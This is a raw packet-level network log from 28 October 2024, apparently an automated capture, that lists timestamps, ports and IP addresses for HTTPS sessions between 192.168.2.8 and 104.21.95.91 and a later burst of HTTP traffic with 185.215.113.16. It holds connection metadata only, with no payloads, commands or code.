Oct 28, 2024 07:18:27.496325016 CET	49706	443	192.168.2.8	104.21.95.91
Oct 28, 2024 07:18:27.532516956 CET	49706	443	192.168.2.8	104.21.95.91
Oct 28, 2024 07:18:27.532536983 CET	443	49706	104.21.95.91	192.168.2.8
Oct 28, 2024 07:18:27.532955885 CET	443	49706	104.21.95.91	192.168.2.8
Oct 28, 2024 07:18:27.534697056 CET	49706	443	192.168.2.8	104.21.95.91
Oct 28, 2024 07:18:27.534714937 CET	49706	443	192.168.2.8	104.21.95.91
Oct 28, 2024 07:18:27.534790993 CET	443	49706	104.21.95.91	192.168.2.8
Oct 28, 2024 07:18:28.033092976 CET	443	49706	104.21.95.91	192.168.2.8
Oct 28, 2024 07:18:28.033193111 CET	443	49706	104.21.95.91	192.168.2.8
Oct 28, 2024 07:18:28.033232927 CET	443	49706	104.21.95.91	192.168.2.8
Oct 28, 2024 07:18:28.033246994 CET	49706	443	192.168.2.8	104.21.95.91
Oct 28, 2024 07:18:28.033272028 CET	443	49706	104.21.95.91	192.168.2.8
Oct 28, 2024 07:18:28.033313990 CET	49706	443	192.168.2.8	104.21.95.91
Oct 28, 2024 07:18:28.033322096 CET	443	49706	104.21.95.91	192.168.2.8
Oct 28, 2024 07:18:28.033463955 CET	443	49706	104.21.95.91	192.168.2.8
Oct 28, 2024 07:18:28.033505917 CET	49706	443	192.168.2.8	104.21.95.91
Oct 28, 2024 07:18:28.033513069 CET	443	49706	104.21.95.91	192.168.2.8
Oct 28, 2024 07:18:28.033989906 CET	443	49706	104.21.95.91	192.168.2.8
Oct 28, 2024 07:18:28.034043074 CET	49706	443	192.168.2.8	104.21.95.91
Oct 28, 2024 07:18:28.034049988 CET	443	49706	104.21.95.91	192.168.2.8
Oct 28, 2024 07:18:28.086441040 CET	49706	443	192.168.2.8	104.21.95.91
Oct 28, 2024 07:18:28.086457968 CET	443	49706	104.21.95.91	192.168.2.8
Oct 28, 2024 07:18:28.133280039 CET	49706	443	192.168.2.8	104.21.95.91
Oct 28, 2024 07:18:28.149878979 CET	443	49706	104.21.95.91	192.168.2.8
Oct 28, 2024 07:18:28.149980068 CET	443	49706	104.21.95.91	192.168.2.8
Oct 28, 2024 07:18:28.150101900 CET	443	49706	104.21.95.91	192.168.2.8
Oct 28, 2024 07:18:28.150131941 CET	49706	443	192.168.2.8	104.21.95.91
Oct 28, 2024 07:18:28.150141954 CET	443	49706	104.21.95.91	192.168.2.8
Oct 28, 2024 07:18:28.150188923 CET	49706	443	192.168.2.8	104.21.95.91
Oct 28, 2024 07:18:28.150194883 CET	443	49706	104.21.95.91	192.168.2.8
Oct 28, 2024 07:18:28.150216103 CET	443	49706	104.21.95.91	192.168.2.8
Oct 28, 2024 07:18:28.150266886 CET	49706	443	192.168.2.8	104.21.95.91
Oct 28, 2024 07:18:28.150394917 CET	49706	443	192.168.2.8	104.21.95.91
Oct 28, 2024 07:18:28.150409937 CET	443	49706	104.21.95.91	192.168.2.8
Oct 28, 2024 07:18:28.150422096 CET	49706	443	192.168.2.8	104.21.95.91
Oct 28, 2024 07:18:28.150427103 CET	443	49706	104.21.95.91	192.168.2.8
Oct 28, 2024 07:18:28.278162003 CET	49707	443	192.168.2.8	104.21.95.91
Oct 28, 2024 07:18:28.278198004 CET	443	49707	104.21.95.91	192.168.2.8
Oct 28, 2024 07:18:28.278295994 CET	49707	443	192.168.2.8	104.21.95.91
Oct 28, 2024 07:18:28.278628111 CET	49707	443	192.168.2.8	104.21.95.91
Oct 28, 2024 07:18:28.278640032 CET	443	49707	104.21.95.91	192.168.2.8
Oct 28, 2024 07:18:28.893490076 CET	443	49707	104.21.95.91	192.168.2.8
Oct 28, 2024 07:18:28.893692017 CET	49707	443	192.168.2.8	104.21.95.91
Oct 28, 2024 07:18:28.894792080 CET	49707	443	192.168.2.8	104.21.95.91
Oct 28, 2024 07:18:28.894799948 CET	443	49707	104.21.95.91	192.168.2.8
Oct 28, 2024 07:18:28.895123959 CET	443	49707	104.21.95.91	192.168.2.8
Oct 28, 2024 07:18:28.896429062 CET	49707	443	192.168.2.8	104.21.95.91
Oct 28, 2024 07:18:28.896538973 CET	49707	443	192.168.2.8	104.21.95.91
Oct 28, 2024 07:18:28.896583080 CET	443	49707	104.21.95.91	192.168.2.8
Oct 28, 2024 07:18:29.798480988 CET	443	49707	104.21.95.91	192.168.2.8
Oct 28, 2024 07:18:29.798760891 CET	49707	443	192.168.2.8	104.21.95.91
Oct 28, 2024 07:18:29.798763990 CET	443	49707	104.21.95.91	192.168.2.8
Oct 28, 2024 07:18:29.798876047 CET	49707	443	192.168.2.8	104.21.95.91
Oct 28, 2024 07:18:29.900130033 CET	49708	443	192.168.2.8	104.21.95.91
Oct 28, 2024 07:18:29.900172949 CET	443	49708	104.21.95.91	192.168.2.8
Oct 28, 2024 07:18:29.900257111 CET	49708	443	192.168.2.8	104.21.95.91
Oct 28, 2024 07:18:29.900624990 CET	49708	443	192.168.2.8	104.21.95.91
Oct 28, 2024 07:18:29.900639057 CET	443	49708	104.21.95.91	192.168.2.8
Oct 28, 2024 07:18:30.501609087 CET	443	49708	104.21.95.91	192.168.2.8
Oct 28, 2024 07:18:30.501745939 CET	49708	443	192.168.2.8	104.21.95.91
Oct 28, 2024 07:18:30.502973080 CET	49708	443	192.168.2.8	104.21.95.91
Oct 28, 2024 07:18:30.502979994 CET	443	49708	104.21.95.91	192.168.2.8
Oct 28, 2024 07:18:30.503309965 CET	443	49708	104.21.95.91	192.168.2.8
Oct 28, 2024 07:18:30.504616976 CET	49708	443	192.168.2.8	104.21.95.91
Oct 28, 2024 07:18:30.504779100 CET	49708	443	192.168.2.8	104.21.95.91
Oct 28, 2024 07:18:30.504817009 CET	443	49708	104.21.95.91	192.168.2.8
Oct 28, 2024 07:18:30.504885912 CET	49708	443	192.168.2.8	104.21.95.91
Oct 28, 2024 07:18:30.504893064 CET	443	49708	104.21.95.91	192.168.2.8
Oct 28, 2024 07:18:31.322400093 CET	443	49708	104.21.95.91	192.168.2.8
Oct 28, 2024 07:18:31.322666883 CET	443	49708	104.21.95.91	192.168.2.8
Oct 28, 2024 07:18:31.322727919 CET	49708	443	192.168.2.8	104.21.95.91
Oct 28, 2024 07:18:31.322875977 CET	49708	443	192.168.2.8	104.21.95.91
Oct 28, 2024 07:18:31.322889090 CET	443	49708	104.21.95.91	192.168.2.8
Oct 28, 2024 07:18:31.548347950 CET	49709	443	192.168.2.8	104.21.95.91
Oct 28, 2024 07:18:31.548393965 CET	443	49709	104.21.95.91	192.168.2.8
Oct 28, 2024 07:18:31.548458099 CET	49709	443	192.168.2.8	104.21.95.91
Oct 28, 2024 07:18:31.548763990 CET	49709	443	192.168.2.8	104.21.95.91
Oct 28, 2024 07:18:31.548778057 CET	443	49709	104.21.95.91	192.168.2.8
Oct 28, 2024 07:18:32.166465044 CET	443	49709	104.21.95.91	192.168.2.8
Oct 28, 2024 07:18:32.166593075 CET	49709	443	192.168.2.8	104.21.95.91
Oct 28, 2024 07:18:32.174792051 CET	49709	443	192.168.2.8	104.21.95.91
Oct 28, 2024 07:18:32.174810886 CET	443	49709	104.21.95.91	192.168.2.8
Oct 28, 2024 07:18:32.175143957 CET	443	49709	104.21.95.91	192.168.2.8
Oct 28, 2024 07:18:32.176331997 CET	49709	443	192.168.2.8	104.21.95.91
Oct 28, 2024 07:18:32.176465034 CET	49709	443	192.168.2.8	104.21.95.91
Oct 28, 2024 07:18:32.176517963 CET	443	49709	104.21.95.91	192.168.2.8
Oct 28, 2024 07:18:32.176601887 CET	49709	443	192.168.2.8	104.21.95.91
Oct 28, 2024 07:18:32.176613092 CET	443	49709	104.21.95.91	192.168.2.8
Oct 28, 2024 07:18:32.878998041 CET	443	49709	104.21.95.91	192.168.2.8
Oct 28, 2024 07:18:32.879116058 CET	443	49709	104.21.95.91	192.168.2.8
Oct 28, 2024 07:18:32.879180908 CET	49709	443	192.168.2.8	104.21.95.91
Oct 28, 2024 07:18:32.879333019 CET	49709	443	192.168.2.8	104.21.95.91
Oct 28, 2024 07:18:32.879353046 CET	443	49709	104.21.95.91	192.168.2.8
Oct 28, 2024 07:18:33.230876923 CET	49710	443	192.168.2.8	104.21.95.91
Oct 28, 2024 07:18:33.230926037 CET	443	49710	104.21.95.91	192.168.2.8
Oct 28, 2024 07:18:33.230987072 CET	49710	443	192.168.2.8	104.21.95.91
Oct 28, 2024 07:18:33.231344938 CET	49710	443	192.168.2.8	104.21.95.91
Oct 28, 2024 07:18:33.231358051 CET	443	49710	104.21.95.91	192.168.2.8
Oct 28, 2024 07:18:33.871593952 CET	443	49710	104.21.95.91	192.168.2.8
Oct 28, 2024 07:18:33.871701002 CET	49710	443	192.168.2.8	104.21.95.91
Oct 28, 2024 07:18:33.873095036 CET	49710	443	192.168.2.8	104.21.95.91
Oct 28, 2024 07:18:33.873105049 CET	443	49710	104.21.95.91	192.168.2.8
Oct 28, 2024 07:18:33.873943090 CET	443	49710	104.21.95.91	192.168.2.8
Oct 28, 2024 07:18:33.875273943 CET	49710	443	192.168.2.8	104.21.95.91
Oct 28, 2024 07:18:33.875344992 CET	49710	443	192.168.2.8	104.21.95.91
Oct 28, 2024 07:18:33.875433922 CET	443	49710	104.21.95.91	192.168.2.8
Oct 28, 2024 07:18:34.637154102 CET	443	49710	104.21.95.91	192.168.2.8
Oct 28, 2024 07:18:34.637432098 CET	443	49710	104.21.95.91	192.168.2.8
Oct 28, 2024 07:18:34.637509108 CET	49710	443	192.168.2.8	104.21.95.91
Oct 28, 2024 07:18:34.637547016 CET	49710	443	192.168.2.8	104.21.95.91
Oct 28, 2024 07:18:34.637564898 CET	443	49710	104.21.95.91	192.168.2.8
Oct 28, 2024 07:18:35.121984005 CET	49711	443	192.168.2.8	104.21.95.91
Oct 28, 2024 07:18:35.122024059 CET	443	49711	104.21.95.91	192.168.2.8
Oct 28, 2024 07:18:35.122085094 CET	49711	443	192.168.2.8	104.21.95.91
Oct 28, 2024 07:18:35.122364044 CET	49711	443	192.168.2.8	104.21.95.91
Oct 28, 2024 07:18:35.122375011 CET	443	49711	104.21.95.91	192.168.2.8
Oct 28, 2024 07:18:35.819256067 CET	443	49711	104.21.95.91	192.168.2.8
Oct 28, 2024 07:18:35.819500923 CET	49711	443	192.168.2.8	104.21.95.91
Oct 28, 2024 07:18:35.820911884 CET	49711	443	192.168.2.8	104.21.95.91
Oct 28, 2024 07:18:35.820920944 CET	443	49711	104.21.95.91	192.168.2.8
Oct 28, 2024 07:18:35.821242094 CET	443	49711	104.21.95.91	192.168.2.8
Oct 28, 2024 07:18:35.822839975 CET	49711	443	192.168.2.8	104.21.95.91
Oct 28, 2024 07:18:35.823524952 CET	49711	443	192.168.2.8	104.21.95.91
Oct 28, 2024 07:18:35.823564053 CET	443	49711	104.21.95.91	192.168.2.8
Oct 28, 2024 07:18:35.823674917 CET	49711	443	192.168.2.8	104.21.95.91
Oct 28, 2024 07:18:35.823709965 CET	443	49711	104.21.95.91	192.168.2.8
Oct 28, 2024 07:18:35.823812008 CET	49711	443	192.168.2.8	104.21.95.91
Oct 28, 2024 07:18:35.823868990 CET	443	49711	104.21.95.91	192.168.2.8
Oct 28, 2024 07:18:35.824004889 CET	49711	443	192.168.2.8	104.21.95.91
Oct 28, 2024 07:18:35.824028015 CET	443	49711	104.21.95.91	192.168.2.8
Oct 28, 2024 07:18:35.824157953 CET	49711	443	192.168.2.8	104.21.95.91
Oct 28, 2024 07:18:35.824193954 CET	443	49711	104.21.95.91	192.168.2.8
Oct 28, 2024 07:18:35.824332952 CET	49711	443	192.168.2.8	104.21.95.91
Oct 28, 2024 07:18:35.824358940 CET	443	49711	104.21.95.91	192.168.2.8
Oct 28, 2024 07:18:35.824373007 CET	49711	443	192.168.2.8	104.21.95.91
Oct 28, 2024 07:18:35.824486017 CET	49711	443	192.168.2.8	104.21.95.91
Oct 28, 2024 07:18:35.824521065 CET	49711	443	192.168.2.8	104.21.95.91
Oct 28, 2024 07:18:35.835227013 CET	443	49711	104.21.95.91	192.168.2.8
Oct 28, 2024 07:18:35.835401058 CET	49711	443	192.168.2.8	104.21.95.91
Oct 28, 2024 07:18:35.835442066 CET	49711	443	192.168.2.8	104.21.95.91
Oct 28, 2024 07:18:35.835458994 CET	49711	443	192.168.2.8	104.21.95.91
Oct 28, 2024 07:18:35.835462093 CET	443	49711	104.21.95.91	192.168.2.8
Oct 28, 2024 07:18:35.835583925 CET	443	49711	104.21.95.91	192.168.2.8
Oct 28, 2024 07:18:35.835603952 CET	49711	443	192.168.2.8	104.21.95.91
Oct 28, 2024 07:18:35.835638046 CET	49711	443	192.168.2.8	104.21.95.91
Oct 28, 2024 07:18:35.835669041 CET	443	49711	104.21.95.91	192.168.2.8
Oct 28, 2024 07:18:35.835674047 CET	49711	443	192.168.2.8	104.21.95.91
Oct 28, 2024 07:18:35.835736036 CET	49711	443	192.168.2.8	104.21.95.91
Oct 28, 2024 07:18:35.835758924 CET	443	49711	104.21.95.91	192.168.2.8
Oct 28, 2024 07:18:39.448317051 CET	443	49711	104.21.95.91	192.168.2.8
Oct 28, 2024 07:18:39.448580027 CET	49711	443	192.168.2.8	104.21.95.91
Oct 28, 2024 07:18:39.448585033 CET	443	49711	104.21.95.91	192.168.2.8
Oct 28, 2024 07:18:39.448730946 CET	49711	443	192.168.2.8	104.21.95.91
Oct 28, 2024 07:18:39.460015059 CET	49713	443	192.168.2.8	104.21.95.91
Oct 28, 2024 07:18:39.460062027 CET	443	49713	104.21.95.91	192.168.2.8
Oct 28, 2024 07:18:39.460143089 CET	49713	443	192.168.2.8	104.21.95.91
Oct 28, 2024 07:18:39.460484028 CET	49713	443	192.168.2.8	104.21.95.91
Oct 28, 2024 07:18:39.460500956 CET	443	49713	104.21.95.91	192.168.2.8
Oct 28, 2024 07:18:40.063057899 CET	443	49713	104.21.95.91	192.168.2.8
Oct 28, 2024 07:18:40.063138962 CET	49713	443	192.168.2.8	104.21.95.91
Oct 28, 2024 07:18:40.064920902 CET	49713	443	192.168.2.8	104.21.95.91
Oct 28, 2024 07:18:40.064929962 CET	443	49713	104.21.95.91	192.168.2.8
Oct 28, 2024 07:18:40.065176010 CET	443	49713	104.21.95.91	192.168.2.8
Oct 28, 2024 07:18:40.066696882 CET	49713	443	192.168.2.8	104.21.95.91
Oct 28, 2024 07:18:40.066696882 CET	49713	443	192.168.2.8	104.21.95.91
Oct 28, 2024 07:18:40.066797018 CET	443	49713	104.21.95.91	192.168.2.8
Oct 28, 2024 07:18:41.233491898 CET	443	49713	104.21.95.91	192.168.2.8
Oct 28, 2024 07:18:41.233618975 CET	443	49713	104.21.95.91	192.168.2.8
Oct 28, 2024 07:18:41.233675957 CET	49713	443	192.168.2.8	104.21.95.91
Oct 28, 2024 07:18:41.233935118 CET	49713	443	192.168.2.8	104.21.95.91
Oct 28, 2024 07:18:41.233952999 CET	443	49713	104.21.95.91	192.168.2.8
Oct 28, 2024 07:18:41.233975887 CET	49713	443	192.168.2.8	104.21.95.91
Oct 28, 2024 07:18:41.233980894 CET	443	49713	104.21.95.91	192.168.2.8
Oct 28, 2024 07:18:41.235862970 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:41.241218090 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:41.241415024 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:41.241487980 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:41.246831894 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:42.153733969 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:42.153748989 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:42.153759956 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:42.153883934 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:42.153886080 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:42.153896093 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:42.153908968 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:42.153920889 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:42.153933048 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:42.153949976 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:42.153964996 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:42.153970003 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:42.153970003 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:42.154009104 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:42.159328938 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:42.159341097 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:42.159352064 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:42.159419060 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:42.211441994 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:42.308630943 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:42.308645010 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:42.308655977 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:42.308677912 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:42.308732033 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:42.308732033 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:42.308938980 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:42.308953047 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:42.308964968 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:42.308978081 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:42.308998108 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:42.309077024 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:42.309670925 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:42.309741020 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:42.309752941 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:42.309762955 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:42.309776068 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:42.309828997 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:42.309828997 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:42.310446978 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:42.310488939 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:42.310508966 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:42.352107048 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:42.427988052 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:42.428004980 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:42.428018093 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:42.428030014 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:42.428042889 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:42.428190947 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:42.428392887 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:42.428406000 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:42.428416014 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:42.428592920 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:42.428592920 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:42.428740978 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:42.428752899 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:42.428764105 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:42.428806067 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:42.470004082 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:42.470019102 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:42.470046997 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:42.470079899 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:42.470098019 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:42.470118999 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:42.523996115 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:42.546881914 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:42.546960115 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:42.546969891 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:42.546998024 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:42.547074080 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:42.547187090 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:42.547230959 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:42.547281981 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:42.547383070 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:42.547394991 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:42.547405958 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:42.547416925 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:42.547440052 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:42.547496080 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:42.548011065 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:42.548082113 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:42.548094034 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:42.548237085 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:42.582457066 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:42.582498074 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:42.582518101 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:42.588474035 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:42.588494062 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:42.588505030 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:42.588537931 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:42.588561058 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:42.666114092 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:42.666130066 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:42.666148901 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:42.666161060 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:42.666172028 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:42.666186094 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:42.666208029 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:42.666208029 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:42.666268110 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:42.666719913 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:42.666740894 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:42.666812897 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:42.666990042 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:42.667021036 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:42.667049885 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:42.667087078 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:42.667361021 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:42.667373896 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:42.667383909 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:42.667444944 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:42.667444944 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:42.701455116 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:42.701467037 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:42.701536894 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:42.707691908 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:42.707705021 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:42.707715988 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:42.707824945 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:42.758304119 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:42.784970999 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:42.785028934 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:42.785098076 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:42.785111904 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:42.785123110 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:42.785132885 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:42.785171986 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:42.785569906 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:42.785579920 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:42.785690069 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:42.785701036 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:42.785712004 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:42.785722971 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:42.785737038 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:42.785737038 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:42.785787106 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:42.786257982 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:42.786300898 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:42.786312103 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:42.786381006 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:42.786381006 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:42.820682049 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:42.820736885 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:42.820900917 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:42.826787949 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:42.826800108 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:42.826811075 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:42.826915979 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:42.867708921 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:42.904282093 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:42.904400110 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:42.904409885 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:42.904417038 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:42.904428959 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:42.904441118 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:42.904453039 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:42.904473066 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:42.904525042 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:42.905131102 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:42.905148983 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:42.905160904 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:42.905170918 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:42.905194998 CET	49717	80	192.168.2.8	185.215.113.16
